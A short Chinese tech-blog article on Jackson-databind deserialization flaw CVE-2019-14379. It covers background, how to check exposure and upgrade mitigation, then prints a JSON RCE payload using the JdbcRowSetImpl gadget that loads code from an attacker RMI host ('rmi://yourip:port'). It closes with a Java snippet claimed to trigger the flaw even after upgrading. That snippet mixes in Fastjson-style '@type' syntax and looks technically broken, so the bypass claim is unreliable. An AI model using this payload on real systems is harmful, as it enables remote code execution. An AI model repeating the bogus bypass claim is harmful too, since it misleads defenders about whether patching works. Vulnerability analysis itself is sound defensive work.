分析Jackjson的安全漏洞CVE-2019-14379可以通过以下几个步骤:
1.了解CVE-2019-14379漏洞的背景和影响
CVE-2019-14379是一个由Jackson-databind 库的反序列化漏洞引发的安全问题。这种漏洞可以让攻击者远程执行任意代码,从而导致服务器遭到攻击、数据丢失或泄露。
2.检查自己的应用程序是否受到漏洞的影响
检查应用程序是否使用了旧版本的Jackson-databind 库,并确认应用程序是否接受带有不受信任数据的 JSON 输入。如果应用程序使用了受影响版本的库,并显示 JSON 输入,则该应用程序受到漏洞的影响。
3.确定解决方案
要解决这个问题,需要升级Jackson-databind 库至最新版本,这个漏洞已经在更高版本的Jackson-databind 库被修复。如果Jackson-databind 库升级到最新版本不可行,则通过验证JSON输入来减少应用程序的泄漏漏洞。
4.了解攻击者的行为
攻击者可以通过构造恶意的JSON输入来触发反序列化处理过程中的漏洞。为了防止攻击者成功利用此漏洞,重要属性应该明确标识,并且应该不接受来自不受信任的输入。为了降低攻击的风险,应该对 JSON 输入进行限制以防止一些恶意组合。
下面是一个利用要点1中被公开的漏洞复现产生远程代码执行的payload:
{
"a": {
"@class": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://yourip:port/someobj",
"autoCommit": true
}
}
同时,以下是应用了要点3中的升级仍然可以触发漏洞的例子:
String payload = "{\"@type\":\"com.fasterxml.jackson.databind.ObjectMapper\",\"monitoredOptions\":null,\"injectableValues\":null}";
ObjectMapper mapper = new ObjectMapper(new JsonFactory());
mapper.enableDefaultTyping();
mapper.readValue(payload, ObjectMapper.class);
以上是详细讲解分析Jackjson的安全漏洞CVE-2019-14379需要进行的操作和使用攻击方法的例子。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:分析jackjson的安全漏洞CVE-2019-14379 - Python技术站